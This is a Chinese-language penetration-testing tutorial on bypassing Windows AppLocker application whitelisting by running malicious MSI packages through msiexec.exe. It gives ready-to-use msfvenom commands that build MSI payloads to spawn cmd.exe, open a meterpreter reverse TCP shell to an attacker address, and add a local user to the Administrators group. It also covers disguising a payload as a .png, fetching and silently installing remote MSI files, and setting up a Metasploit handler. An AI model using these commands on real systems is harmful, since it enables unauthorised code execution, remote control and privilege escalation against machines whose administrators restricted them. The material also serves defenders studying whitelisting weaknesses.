使用msiexec.exe繞過應用程序白名單(多種方法)
0x00 前言
在我們之前的文章中,我們討論了“Windows Applocker策略 - 初學者指南”,因為它們為應用程序控制策略定義了AppLocker規則,以及如何使用它們。但今天您將學習如何繞過AppLocker策略。在本文中,我們使用Windows AppLocker策略阻止了“cmd.exe”文件,並嘗試繞過此限制以獲得命令提示。
0x01 Applocker適用的關聯文件格式
Windows AppLocker是在Windows 7和Windows Server 2008 R2中引入的一種安全策略,用於限制不需要的程序的使用。在這種情況下,管理員可以限制以下程序的執行:
這完全取決於系統管理員,為程序限制或執行設置AppLocker策略的程序或腳本。可能會出現命令提示符(cmd.exe)、PowerShell或dll文件或批處理文件、rundll32.exe、regsrv.32或regasm等被阻止的情況
0x02 挑戰1:使用.msi文件繞過Applocker獲取CMD
假設您處於類似的情況,所有上述應用程序都被阻止,並且只允許Windows Installer文件(即.msi擴展名)運行而不受任何限制。
那麽,您將如何使用一個msi文件來繞過這些限制並獲得一個完整的權限shell呢?
1.關於MSI文件的更多信息
MSI名稱來自程序的原始標題Microsoft Installer。從那以後,名稱改為Windows Installer。MSI文件擴展名文件是Windows軟件包安裝程序。安裝程序包中
Windows Installer技術分為兩部分,它們結合使用,包括客戶端安裝程序服務(msiexec.exe)和Microsoft軟件安裝(msi)包文件。Windows Installer使用包文件中包含的信息安裝該程序。
msiexec.exe程序是Windows Installer的組件。當安裝程序調用它時,msiexec.exe使用msi.dll讀取包(.msi)文件,應用任何轉換(.mst)文件,並合並安裝程序提供的命令行選項。安裝程序執行所有與安裝相關的任務,包括將文件復制到硬盤、修改註冊表、在桌面上創建快捷方式以及顯示對話框,以便在必要時提示用戶安裝首選項。
在計算機上安裝Windows Installer時,它會更改.msi文件的已註冊文件類型,以便在雙擊.msi文件時,Msiexec.exe將與該文件一起運行。
每個MSI包文件都包含一個關系型數據庫,該數據庫存儲在許多安裝腳步中安裝(和刪除)程序所需的指令和數據。
2.獲取CMD的多種方法
(1).第一種方法:使用msfvenom生成惡意.msi文件
現在,讓我們在kali機器中打開一個新的終端,並生成一個惡意的msi包文件作為cmd.msi,通過使用windows/exec 執行exploit獲得命令提示,如下所示:msfvenom -p windows/exec CMD=cmd.exe -f msi > cmd.msi python -m SimpleHTTPServer 80
現在在Windows計算機中傳輸cmd.msi文件,以獲得命令提示符shell作為管理員。這裏我們使用了python http服務器來共享網絡中的文件。
在本地計算機上下載.msi文件後,可以使用以下語法在命令提示符下運行帶有msiexec.exe的msi文件。
語法:msiexec /quiet /i
msiexec /quiet /i C:\Users\raj\Desktop\cmd.msi
只要你在運行提示符中點擊上述命令,就會得到命令提示符。
(2).第二種方法:使用msfvenom生成惡意.msi文件
註意:即使您在另一個擴展名中重命名cmd.msi文件,它也會繞過該規則。
重復以上步驟,生成一個與msfvenom具有相同payload、並命名為cmd.png的msi文件。因為我的kali中已經有了一個cmd.msi文件,所以我將它重命名為cmd.png,並使用python服務器來傳輸它
在本地計算機(管理員阻止cmd.exe的Windows操作系統)上下載cmd.png文件(實際上是.msi文件)後,就可以使用以下語法在運行提示符內使用msiexec.exe運行.msi文件。
語法: msiexec /q /i
msiexec /q /i http://192.168.1.107/cmd.png
只要你在運行提示符中點擊上述命令,就會得到命令提示符。
(3).第三種方法:使用msfvenom生成惡意.msi文件
在上述方法中,我們通過使用windows/exec payload獲得命令提示符,但現在我們將使用windows/meterpreter/reverse_tcp payload通過meterpreter會話獲得完全權限的命令shell。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 –f msi > shell.msi現在再次在Windows計算機中傳輸shell.msi文件,以獲得命令提示符shell作為管理員並啟動multi/handler。這裏我們使用了python http服務器來共享網絡中的文件。
在本地計算機上下載了shell.msi文件(管理員阻止了cmd.exe的Windows操作系統)後,可以使用以下語法在運行提示符內使用msiexec.exe運行.msi文件。
語法: msiexec /q /i
msiexec /q /i http://192.168.1.107/shell.msi
只要您在運行提示符中點擊上述命令,您將通過使用此exploit的meterpreter會話獲得命令提示。
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.107 msf exploit(handler) > set lport 1234 msf exploit(handler) > exploit meterpreter > shell
0x03 挑戰2:使管理員組的本地用戶成員
假設您處於類似的情況,所有上述應用程序都被阻止,並且只允許Windows Installer文件(即.msi擴展名)運行而不受任何限制。
那麽如何使用MSI文件繞過這些限制,使管理員組的本地用戶成員阻止cmd.exe運行?
註意:該aaru是本地用戶帳戶,不是非管理員用戶帳戶,如下所示:
我們知道由於applocker執行規則策略,cmd.exe在本地計算機上被阻止,因此我們無法使用命令提示符在管理員組中添加aaru。
(1).第四種方法:使用msfvenom生成惡意.msi文件
使用Windows/Exec payload生成MSI包作為admin.msi,該payload發送一條命令,指示將用戶aaru的本地管理員權限添加到目標計算機中。
msfvenom -p windows/exec CMD=‘net localgroup administrators aaru /add‘ -f msi > admin.msi
現在,在Windows計算機中傳輸admin.msi文件以將aaru添加到管理員組中。這裏我們使用了python http服務器來共享網絡中的文件。
下載完本地計算機的admin.msi文件(其中,admin阻止了cmd.exe的Windows操作系統)後,可以使用以下語法在運行提示符內運行帶有msiexec.exe的admin.msi文件
語法:msiexec /q /i
msiexec /q /i http://192.168.1.107/admin.msi
只要您在運行提示符中點擊上述命令,就可以確保aaru用戶已成為管理員帳戶的一部分。
希望您清楚地了解如何使用.msi文件來破壞管理員阻止cmd.exe和其他應用程序的操作系統。
希望您能清楚地認識到,如何使用.msi文件來繞過操作系統執行,在該系統中,cmd.exe和其他應用程序被管理員阻止。
參考文獻:
https://support.microsoft.com/en-gb/help/310598/overview-of-the-windows-installer-technology
https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
使用msiexec.exe繞過應用程序白名單(多種方法)